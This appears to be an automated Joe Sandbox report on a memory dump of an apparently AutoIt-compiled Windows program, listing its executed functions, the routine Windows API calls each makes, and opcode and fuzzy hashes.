Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 5fd91821cdb2a595bc86005e04a28c6f2eb9f5f2f7ebde01224990827d47438b
Instruction ID: 8e7c5a755f6e282b57d6258ddffa69366015732e2650737d843da2a82b3ee22f
Opcode Fuzzy Hash: 5fd91821cdb2a595bc86005e04a28c6f2eb9f5f2f7ebde01224990827d47438b
Instruction Fuzzy Hash: 8971BAB5901204CFC3A4DF79E9456653AECBB8D340358862AD1CAD739AEB3A4401EF95

Function 00FCC161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F63923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00F63A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00FCC259
KillTimer.USER32(?,00000001,?,?), ref: 00FCC261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00FCC270

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: dd02364acfb9b6c7ddfcc3e73e5f9bb991fe98209f31014191005f4fcd96d828
Instruction ID: c65a5c4757060121fac812d0e1a84d33c804f47700e551dc15fe1600017f9e14
Opcode Fuzzy Hash: dd02364acfb9b6c7ddfcc3e73e5f9bb991fe98209f31014191005f4fcd96d828
Instruction Fuzzy Hash: FC31C371D04354AFEB329F648996BE7BBEC9F06304F04049ED1DE93241C3745A84DB91

Function 00F986AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,00F985CC,?,01028CC8,0000000C), ref: 00F98704
GetLastError.KERNEL32(?,00F985CC,?,01028CC8,0000000C), ref: 00F9870E
__dosmaperr.LIBCMT ref: 00F98739

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: dd68894b621a9ce36fd3bed5aa9a04c9942cc6c9e272d6453c8688b9dcd0790e
Instruction ID: 3e5574174bc4b58f5a7d9eb80f3303399e688b92a4bc9f66dc5815d7a541758b
Opcode Fuzzy Hash: dd68894b621a9ce36fd3bed5aa9a04c9942cc6c9e272d6453c8688b9dcd0790e
Instruction Fuzzy Hash: 66014C33E051201AFE216234DC45B7E374A4B83BF4F250119F8048F0D2DD658C82F290

Function 00F6DB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00F6DB7B
DispatchMessageW.USER32(?), ref: 00F6DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F6DB9F
Sleep.KERNELBASE(0000000A), ref: 00F6DBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00FB1CC9

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 2ec9428b838e0dd7e181fb650af10bd0c2c38de938c1193adb3d64be2cd8fd24
Instruction ID: 1461e376983cc97ca40ab1653c7d1951dd0448299a7976eb544a0eb38b00d326
Opcode Fuzzy Hash: 2ec9428b838e0dd7e181fb650af10bd0c2c38de938c1193adb3d64be2cd8fd24
Instruction Fuzzy Hash: DFF05E31A043489BE730DBA1DC99FEA73ACEF88320F504A19E65A830C0DB34A448EB55

Function 00F71310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00F717F6

Strings

CALL, xrefs: 00F717C6

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 86f7c4b1089b217899eb176aaba542e9185fc5b2be881153e97a204f453feb88
Instruction ID: 7bf62595d68c80e99a9b47f4dc9b544bec98cf9b74119aca64d364ed3bcfede9
Opcode Fuzzy Hash: 86f7c4b1089b217899eb176aaba542e9185fc5b2be881153e97a204f453feb88
Instruction Fuzzy Hash: 52228C706082019FC714DF19C880B6ABBF1BF85314F18892EF49A8B361D775E959EF92

Function 00F62DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00FA2C8C

Part of subcall function 00F63AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F63A97,?,?,00F62E7F,?,?,?,00000000), ref: 00F63AC2

Part of subcall function 00F62DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00F62DC4

Strings

X, xrefs: 00FA2C5A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: 29d2809a03f17bd146b3dc5ff4e50e216fd6f789551875d99b2f8f215db8d3b1
Instruction ID: 75a88a054d4a0bb645dc1ac48168ab98717d8d5db26ec2d8e48c6335d0db8457
Opcode Fuzzy Hash: 29d2809a03f17bd146b3dc5ff4e50e216fd6f789551875d99b2f8f215db8d3b1
Instruction Fuzzy Hash: 3D21C371A002989FCB41EF94CC45BEE7BFCAF49314F008059E445E7241DBB89A899BA1

Function 00F63837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00F63908

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 7dde567a25bcf4277d42ead1815b83306aa47d6a6b23e4a299daa61c4be962cb
Instruction ID: 952078165fdba8b41d2776b5634607993b8345d1206f2312628f07a87e0454f5
Opcode Fuzzy Hash: 7dde567a25bcf4277d42ead1815b83306aa47d6a6b23e4a299daa61c4be962cb
Instruction Fuzzy Hash: 02314CB19047019FD720DF34D985797BBE8FB49718F00092EF59A87240E775AA44DB92

Function 00F7F645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00F7F661

Part of subcall function 00F6D730: GetInputState.USER32 ref: 00F6D807

Sleep.KERNEL32(00000000), ref: 00FBF2DE

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 85f758a4be8f10de57f78a03fcdb12b3f8a7f0ae0484b867f82520532ed20b00
Instruction ID: 68b9850ada15d5dba2c023462f2856b87591174f2f3dbc88fda0360192c4fff9
Opcode Fuzzy Hash: 85f758a4be8f10de57f78a03fcdb12b3f8a7f0ae0484b867f82520532ed20b00
Instruction Fuzzy Hash: 78F08C312402199FD310EF6AD949BAAB7E8EF45760F00402AE85AC7361EB70AC44EB91

Function 00F64ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F64E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00F64EDD,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64E9C
Part of subcall function 00F64E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00F64EAE
Part of subcall function 00F64E90: FreeLibrary.KERNEL32(00000000,?,?,00F64EDD,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64EFD

Part of subcall function 00F64E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00FA3CDE,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64E62
Part of subcall function 00F64E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00F64E74
Part of subcall function 00F64E59: FreeLibrary.KERNEL32(00000000,?,?,00FA3CDE,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64E87

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 137486708e12e521c0f6f221778cb0e215862395e637dd0152bdad09d4d00c5a
Instruction ID: ea95290e7c58d94e5ea4161523f6b8cc2380b0b70ebfcf25a9c1ea36f1bba966
Opcode Fuzzy Hash: 137486708e12e521c0f6f221778cb0e215862395e637dd0152bdad09d4d00c5a
Instruction Fuzzy Hash: 5211E332600205AACB15BB60DD12FAD77A5AF50B10F20842EF552BB1D1EE79EA05B790

Function 00F98402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00F98440

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 80bf7133fed6d1bbb014737809a643240b0c9435b6e4f375691a2d14bac97e11
Instruction ID: 99914b99ead42c021da0ba9778932192c77da65a17efbb604cef9faa6d855f3a
Opcode Fuzzy Hash: 80bf7133fed6d1bbb014737809a643240b0c9435b6e4f375691a2d14bac97e11
Instruction Fuzzy Hash: A411487190410AAFDF05DF58E9409DA7BF8EF49310F104069F808AB302DA31EA12DBA4

Function 00F8E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 034af56f1f80d79cb64f24f8bc37238d5dece84bcd38400c83e79ca745bfdca6
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 70F02D32520A14A6EB313A69CC05BD633989F52370F140715F424931E1EB78D802BBA5

Function 00F93820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,01031444,?,00F7FDF5,?,?,00F6A976,00000010,01031440,00F613FC,?,00F613C6,?,00F61129), ref: 00F93852

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c5470d5f91f2888711357c34c89f8ec39373c486420a4ef545fa37edf63cfb11
Instruction ID: 301c0398b1d12ac4543e13524f994d33fa646c9769cf81345e982de871cc3761
Opcode Fuzzy Hash: c5470d5f91f2888711357c34c89f8ec39373c486420a4ef545fa37edf63cfb11
Instruction Fuzzy Hash: EFE0E53390022956FE3136679C05BDA364DAF827B0F050021BC4592881CB26ED01B2E0

Function 00F64F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,01031418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F64F6D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 4539b77ceeddaa3f062f4ea036a9f585b9255874aeaba3d8b19ee3142d68e15e
Instruction ID: 02a530697774f5030d043821ffbd33b766ab7e418528cf6ac711af1f397c15ce
Opcode Fuzzy Hash: 4539b77ceeddaa3f062f4ea036a9f585b9255874aeaba3d8b19ee3142d68e15e
Instruction Fuzzy Hash: 1DF03071505751CFDB38AF64D890922B7E4AF14329310897EE1EA83511C731A854FF50

Function 00FF2A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00FF2A66

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 4b039a1a4cc7e19b2f701ccef31c2d12322819da4929317687121e093ad8ff5c
Instruction ID: 0314b120efe6fc84c01b5d7cda7d19a2165c01eff4ca145b4ce4cbbb95bafc3d
Opcode Fuzzy Hash: 4b039a1a4cc7e19b2f701ccef31c2d12322819da4929317687121e093ad8ff5c
Instruction Fuzzy Hash: 09E0DF3235011BAAC750EA30EC80AFA735CEF10390700443AAD1AC2110EF389981F2E0

Function 00F630F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 00F6314E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: e5b1a3a5ad536a63274d60f4a9a9ce648e62b43ab5ab3cc0f0b7cdacf4c93f63
Instruction ID: 6aa335f534d7b4e7c208a797e0271ec4f2a0f8fa4528850422e42a06a42cc927
Opcode Fuzzy Hash: e5b1a3a5ad536a63274d60f4a9a9ce648e62b43ab5ab3cc0f0b7cdacf4c93f63
Instruction Fuzzy Hash: 6BF037709143189FE762DB24DC457D57BFCAB05708F0040E5A58897185D7755788CF51

Function 00F62DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00F62DC4

Part of subcall function 00F66B57: _wcslen.LIBCMT ref: 00F66B6A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 49bf17cfe03719d4ba3bf6c42ccb9df36506d76ba503e396e59cf5dedd5bf3e9
Instruction ID: 0e174b7698ab64367e5b8d1ed2649cd34d8be1fb17fa0dbab67904f2676f9902
Opcode Fuzzy Hash: 49bf17cfe03719d4ba3bf6c42ccb9df36506d76ba503e396e59cf5dedd5bf3e9
Instruction Fuzzy Hash: 23E0CD766001285BC71096589C05FEA77DDDFC8790F054071FD09D7248D964AD80D590

Function 00F62B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00F63837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00F63908

Part of subcall function 00F6D730: GetInputState.USER32 ref: 00F6D807

SetCurrentDirectoryW.KERNEL32(?), ref: 00F62B6B

Part of subcall function 00F630F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00F6314E

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 2ffc600038d06ebebc96ce12d9837a5be4697a31b514d90974c7058e95ec88b3
Instruction ID: cceef5f086f730ebb53a2b829569b8e3ce6a74679916b5bf0f94680684424b48
Opcode Fuzzy Hash: 2ffc600038d06ebebc96ce12d9837a5be4697a31b514d90974c7058e95ec88b3
Instruction Fuzzy Hash: 13E0863270424816CA08BB75AC525BDB75DDBD5355F40153EF58243193CE7D4549B352

Function 00FA039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00FA0704,?,?,00000000,?,00FA0704,00000000,0000000C), ref: 00FA03B7

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6d933f6e4218e3e62f4cb31975682c483bc20f1232f69816c3e7388951bcd8bc
Instruction ID: 9e57ee549ef9194df0cba0ca36cae6d41412cf241dc8f0fd684a48a538fa05a5
Opcode Fuzzy Hash: 6d933f6e4218e3e62f4cb31975682c483bc20f1232f69816c3e7388951bcd8bc
Instruction Fuzzy Hash: 81D06C3204010DBBDF028F84DD06EDA3BAAFB48714F014000BE1856020C732E831EB90

Function 00F61CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00F61CBC

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 8d2a35052a89b04135a92142a89d368fdbe7d9f22858d7d88eac6e16bd53cf57
Instruction ID: c3e488cbde7e7607b438f4e93f4cc547b5adf5e3450a62f8074c016db2f356f7
Opcode Fuzzy Hash: 8d2a35052a89b04135a92142a89d368fdbe7d9f22858d7d88eac6e16bd53cf57
Instruction Fuzzy Hash: D6C09B35280308DFF2244780BD4AF10775DA74CB01F088001F649555D7C7B71454E750

Non-executed Functions

Function 00FF9576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00F79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F79BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00FF961A
